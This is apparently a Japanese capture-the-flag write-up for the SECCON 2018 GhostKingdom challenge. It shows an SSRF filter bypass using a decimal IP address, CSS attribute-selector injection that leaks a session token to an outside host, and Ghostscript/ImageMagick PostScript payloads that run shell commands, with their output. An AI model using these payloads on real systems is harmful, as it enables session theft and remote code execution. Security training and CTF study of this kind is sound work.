SECCON 2018 Online CTF GhostKingdom Writeup

はじめに

この問題は2つのステップでFlagを入手することができる。

  1. CSSインジェクションでCSRFトークン(=セッションキー)を抜き出しローカルユーザーとしてログイン
  2. ローカルユーザーだけが使える、RCE脆弱性のあるImageMagickを使った画像変換機能でFlagを読み出す

問題文

http://ghostkingdom.pwn.seccon.jp/FLAG/

Writeup

問題文のURLにアクセスすると次のメッセージが表示される。

FLAG is somewhere in this folder.   GO TO TOP

http://ghostkingdom.pwn.seccon.jp/にアクセスするとログイン画面とユーザ作成画面へのリンクがある。

f:id:iso0:20181028170300p:plain

適当にアカウントを作ってログインするとメニューが表示される。

f:id:iso0:20181028170511p:plain

それぞれの機能は次の通り。

  • Message to adminはその名の通り、管理者にメッセージを送ることができる機能。色々試したところ、最近よくある、送ったメッセージをサーバーのHeadless Chromeで開いてくれてXSSが発動して…という問題ではない模様。このパターン結構好きなのでちょっと残念。

  • Take a screenshotはURLを指定するとそのページのスクショを返してくれる機能。

  • Upload imageはローカルネットワークからしかアクセスできないらしい。

Take a screenshotの調査

http://ghostkingdom.pwn.seccon.jp/のスクショを撮影してUpload imageメニューがどのように見えるか試してみる。

f:id:iso0:20181028205601p:plain

普通にアクセスさせるだけではインターネットからのアクセスと判定される。次に、http://127.0.0.1/を指定したところYou can not use URLs that contain the following keywords: 127, ::1, localというレスポンスが返ってきた。IPアドレスは色々な表記方法がある*1ので、127.0.0.1を10進数に変換した2130706433を指定するとlocalhostからのアクセスと判定された。

f:id:iso0:20181028210120p:plain

http://2130706433/?action=login&user=<USERNAME>&pass=<PASSWORD>へアクセスするとメニューが表示された。

f:id:iso0:20181028210250p:plain

ただ、Upload imageのURLは分からないのでこのままではそのページにアクセスすることはできない。

ちなみにセッションは多分スクショを撮影した送信元IPアドレスで管理されているようで、IPアドレスが変わるとログアウト状態になるようだ。

Message to adminの調査

メッセージ作成画面ではTypeを選べるようになっていて、Emergencyを選ぶと緊急度が高そうな色で装飾してくれる。

f:id:iso0:20181028171034p:plainf:id:iso0:20181028171053p:plain

このページではSend to adminをクリックするとCSRFトークンを送るような仕組みになっている。このCSRFトークンはCookieのセッションキーと一致している。管理者のCSRFトークンを窃取できれば管理者としてログインできるかもしれない。

<span class="msg">Message: AAAA</span>
<input type="hidden" name="csrf" value="bdf34c07abd5a325c685d0">
<input type="hidden" name="action" value="msgadm3">
<input type="submit" class="btn" value="Send to admin">

このページのURLは次の通り。

http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=AAAA&action=msgadm2

cssで指定されている値がBase64っぽいのでDecodeしてみるとspan{background-color:red;color:yellow}となり、レスポンスに含まれるCSSと一致する。ページに出力されるCSSをリクエスト側で操作できるようになっていることがわかる。ちなみに、記号などはエスケープされていてJavaScriptを挿入したりはできなさそうだった。

CSSを使ってページの要素の属性値を盗み出す手法は知られている*2ので、この手法で細工したページにスクショ機能を使って管理者にアクセスさせることで、管理者のセッションキーを盗み出せそうだ。

CSSによる属性値の窃取

CSSの属性セレクター(attribute selector)*3を使うことをによって、属性値を入手することができる。

例えばa要素のhref属性の値を入手したい場合を考える。

<a href="???">Example</a>

次のようなCSSを読み込ませることができた場合、属性値がaから始まっていればhttp://example.com/href=aにリクエストが飛び、bから始まっていればhttp://example.com/href=bにリクエストが飛び、、、といことができる。

a[href^="a"] {background:url("http://example.com/href=a");}
a[href^="b"] {background:url("http://example.com/href=b");}
...

このやり方で、自分に向けてリクエストを飛ばすようにすれば属性値の1文字目が判明する。2文字目以降も[href^="aa"][href^="ab"]のように繰り返すことにより読み出すことができる。

セッションキーの窃取

前述のようなCSSが出力されるMessage to adminのページに、スクショ機能を使って管理者にアクセスさせれば良い。具体的には次のコードでセッションキーを入手できる(セッションキーは22文字なので手動でやっても良かったが無駄に頑張ったスクリプトにしてしまった)。

Flagの読み出し

入手したセッションキーをCookieにセットして/?action=menuにアクセスするとUpload imageが有効化されている。Upload imgae/?action=upl0ad)にアクセスするとファイルをアップロードできるフォームが出てくる。

f:id:iso0:20181028212745p:plain

jpgをアップロードすると、gifに変換することができる。

f:id:iso0:20181028213505p:plainf:id:iso0:20181028213510p:plain

ここで変換後のURL(http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi?action=convert)を見てみると意味深なファイル名であることがわかる。どう考えてもGhostscriptの脆弱性が利用できるImageMagicを使って変換しているとしか思えないURLなのでhttps://www.openwall.com/lists/oss-security/2018/08/21/2にあるCentOS向けのidコマンドを実行するpsファイルをアップロードして変換してみる。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

すると次のようなレスポンスが返ってきた。

uid=2127340927 gid=2127340927 groups=2127340927 Error: /ioerror in --showpage-- Operand stack: --nostringval-- 1 true Execution stack: %interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- --nostringval-- false 1 %stopped_push .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- 1761 1 3 %oparray_pop --nostringval-- --nostringval-- Dictionary stack: --dict:1172/1684(ro)(G)-- --dict:0/20(G)-- --dict:77/200(L)-- Current allocation mode is local Last OS error: Broken pipe GPL Ghostscript 9.07: Unrecoverable error, exit code 1 convert: Postscript delegate failed `/var/www/html/images/a1137958d6c900e6f936c2afec2bf227.jpg': No such file or directory @ error/ps.c/ReadPSImage/832. convert: no images defined `/var/www/html/images/a1137958d6c900e6f936c2afec2bf227.gif' @ error/convert.c/ConvertImageCommand/3046. 

idの結果が返ってきているのでどうやら成功した模様。エラーメッセージからDocumentRootが/var/www/htmlだということもわかる。次のpsファイルを変換させることでFlagのファイル名が判明する。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls /var/www/html/FLAG) currentdevice putdeviceprops

結果

index.html FLAGflagF1A8.txt Error: /ioerror in --showpage-- Operand stack: --nostringval-- 1 true Execution stack: %interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- --nostringval-- false 1 %stopped_push .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- 1761 1 3 %oparray_pop --nostringval-- --nostringval-- Dictionary stack: --dict:1172/1684(ro)(G)-- --dict:0/20(G)-- --dict:77/200(L)-- Current allocation mode is local Last OS error: Broken pipe GPL Ghostscript 9.07: Unrecoverable error, exit code 1 convert: Postscript delegate failed `/var/www/html/images/a1137958d6c900e6f936c2afec2bf227.jpg': No such file or directory @ error/ps.c/ReadPSImage/832. convert: no images defined `/var/www/html/images/a1137958d6c900e6f936c2afec2bf227.gif' 

あとはhttp://ghostkingdom.pwn.seccon.jp/FLAG/FLAGflagF1A8.txtにアクセスすればFlagを入手できる。

SECCON{CSSinjection+GhostScript/ImageMagickRCE}